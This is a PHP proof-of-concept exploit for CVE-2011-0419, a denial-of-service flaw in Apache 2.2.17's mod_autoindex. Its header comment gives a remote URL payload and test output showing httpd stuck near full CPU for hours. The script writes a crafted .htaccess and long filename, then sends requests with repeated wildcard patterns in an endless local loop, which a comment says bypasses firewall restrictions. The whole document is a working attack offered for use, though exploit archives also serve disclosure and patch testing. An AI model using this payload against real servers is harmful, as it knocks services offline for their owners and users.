<?php /* Apache 2.2.17 mod_autoindex local/remote Denial of Service author: Maksymilian Arciemowicz CVE: CVE-2011-0419 CWE: CWE-399 REMOTE Find some directory with supported mod_autoindex on the server. The directory should contain long filenames. http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k] LOCAL Tested on: 127# httpd -v && uname -a Server version: Apache/2.2.17 (Unix) Server built: Dec 28 2010 13:21:44 NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov 7 14:39:56 UTC 2010 builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386 Result: 127# ls -la total 8 drwxrwxrwx 2 root wheel 512 Feb 8 21:41 . drwxr-xr-x 7 www wheel 1024 Jan 31 08:49 .. -rw-r--r-- 1 www wheel 1056 Feb 8 19:39 .htaccess -rw-r--r-- 1 www wheel 0 Feb 8 19:39 cx............................................................................................................................. -rw-r--r-- 1 www wheel 1240 Feb 8 19:42 run.php 127# ps -aux -p 617 USER PID %CPU %MEM VSZ RSS TTY STAT STARTED TIME COMMAND www 617 98.6 0.4 10028 4004 ? R 7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start Time = 121:43 and counting where http://[$localhost]:[$localport]/[$localuri] */ $localhost="localhost"; $localport=80; $localuri="/koniec/"; if(!is_writable(".")) die("!writable"); // Phase 1 // Create some filename touch("cx".str_repeat(".",125)); // Phase 2 // Create .htaccess with unlink("./.htaccess"); $htaccess=fopen("./.htaccess", "a"); fwrite($htaccess,"AddDescription "CVE-2011-0419" ".str_repeat('*.',512)."n"); fclose($htaccess); // Phase 3 // Local connect (bypass firewall restriction) while(1){ $fp = fsockopen($localhost, $localport, $errno, $errstr, 30); if (!$fp) echo "$errstr ($errno)<br />n"; else { $out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1rn"; $out .= "Host: ".$localhost."rn"; $out .= "Connection: Closernrn"; fwrite($fp, $out); fclose($fp); } } ?>